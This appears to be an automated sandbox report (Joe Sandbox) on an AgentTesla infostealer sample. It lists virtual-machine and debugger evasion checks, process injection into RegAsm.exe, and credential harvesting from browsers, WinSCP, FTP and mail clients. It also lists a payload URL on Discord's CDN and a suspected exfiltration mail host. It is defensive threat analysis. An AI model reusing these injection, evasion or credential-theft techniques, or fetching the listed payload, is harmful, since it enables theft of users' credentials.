Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 450230549.exe PID: 7068, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 450230549.exe, 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\450230549.exe	Memory allocated: D30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Memory allocated: 4700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: EA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 28A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 26A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 5903375	Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe TID: 6220	Thread sleep count: 188 > 30	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe TID: 6220	Thread sleep count: 286 > 30	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe TID: 7116	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4348	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4348	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5868	Thread sleep count: 200 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4348	Thread sleep time: -5903375s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\450230549.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 5903375	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: RegAsm.exe, 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS
Source: RegAsm.exe, 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: 450230549.exe, 00000000.00000002.1722663773.0000000000A47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\450230549.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00EA71D0 CheckRemoteDebuggerPresent,

3_2_00EA71D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 450230549.exe, Program.cs	Reference to suspicious API methods: App.ReadProcessMemory(Settings.pi.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)
Source: 450230549.exe, Program.cs	Reference to suspicious API methods: App.VirtualAllocEx(Settings.pi.ProcessHandle, num2, length, 12288, 64)
Source: 450230549.exe, Program.cs	Reference to suspicious API methods: App.WriteProcessMemory(Settings.pi.ProcessHandle, num4, payload, bufferSize, ref bytesRead)
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, G0uwH3C1Dp.cs	Reference to suspicious API methods: Yb0w.OpenProcess(bTplrq.DuplicateHandle, bInheritHandle: true, (uint)qDR7wr.ProcessID)

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\450230549.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\450230549.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\450230549.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 6FC008	Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\450230549.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe	Queries volume information: C:\Users\user\Desktop\450230549.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\450230549.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.450230549.exe.385caa0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.37e4e58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.3820c80.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.385caa0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.37e4e58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.3820c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3558791115.0000000002925000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3558791115.0000000002902000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 450230549.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4136, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.450230549.exe.385caa0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.37e4e58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.3820c80.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.385caa0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.37e4e58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.3820c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 450230549.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4136, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.450230549.exe.385caa0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.37e4e58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.3820c80.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.385caa0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.37e4e58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.3820c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3558791115.0000000002925000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3558791115.0000000002902000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 450230549.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4136, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	311 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	34 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	1 Credentials in Registry	531 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	261 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
450230549.exe	34%	ReversingLabs	Win32.Trojan.Sonbokli
450230549.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://account.dyn.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://r11.o.lencr.org0#	0%	Avira URL Cloud	safe
http://mail.zqamcx.com	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/attachments/1288648799220400244/1288752046828425256/kingggggme.txt?ex=66f	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/attachments/1288648799220400244/1288752046828425256/kingggggme.txt?ex=66f6535f&is=66f501df&hm=79c31af27b70e67c8e5bccaa49762a5ee024314b22617ea8ae2de8893a0fe97d&	0%	Avira URL Cloud	safe
http://cdn.discordapp.com	0%	Avira URL Cloud	safe
http://ip-api.com	0%	Avira URL Cloud	safe
http://r11.i.lencr.org/0#	0%	Avira URL Cloud	safe
http://zqamcx.com	0%	Avira URL Cloud	safe
https://cdn.discordapp.com	0%	Avira URL Cloud	safe
http://cdn.discordapp.comd	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
zqamcx.com	78.110.166.82	true	true	unknown
cdn.discordapp.com	162.159.134.233	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false	unknown
mail.zqamcx.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/1288648799220400244/1288752046828425256/kingggggme.txt?ex=66f6535f&is=66f501df&hm=79c31af27b70e67c8e5bccaa49762a5ee024314b22617ea8ae2de8893a0fe97d&	false	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mail.zqamcx.com	RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	450230549.exe, 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.o.lencr.org0#	RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cdn.discordapp.com	450230549.exe, 00000000.00000002.1725521175.0000000002783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com	RegAsm.exe, 00000003.00000002.3558791115.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/1288648799220400244/1288752046828425256/kingggggme.txt?ex=66f	450230549.exe	false	Avira URL Cloud: safe	unknown
http://zqamcx.com	RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com	450230549.exe, 00000000.00000002.1725521175.0000000002767000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	450230549.exe, 00000000.00000002.1725521175.0000000002767000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558791115.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.i.lencr.org/0#	RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.comd	450230549.exe, 00000000.00000002.1725521175.0000000002783000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
78.110.166.82	zqamcx.com	United Kingdom	42831	UKSERVERS-ASUKDedicatedServersHostingandCo-Location	true
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519251
Start date and time:	2024-09-26 09:17:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	450230549.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.evad.winEXE@7/1@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 88 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 450230549.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	SecuriteInfo.com.Win32.Malware-gen.27656.20815.exe	Get hash	malicious	Blackshades, Quasar	Browse	ip-api.com/json/
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	CCE_000110.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	rMT103SwiftCopyoFPayment.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	QUOTE_467654.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	COMMERCAIL INVOICE AND TNT AWB TRACKING INVOICE.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
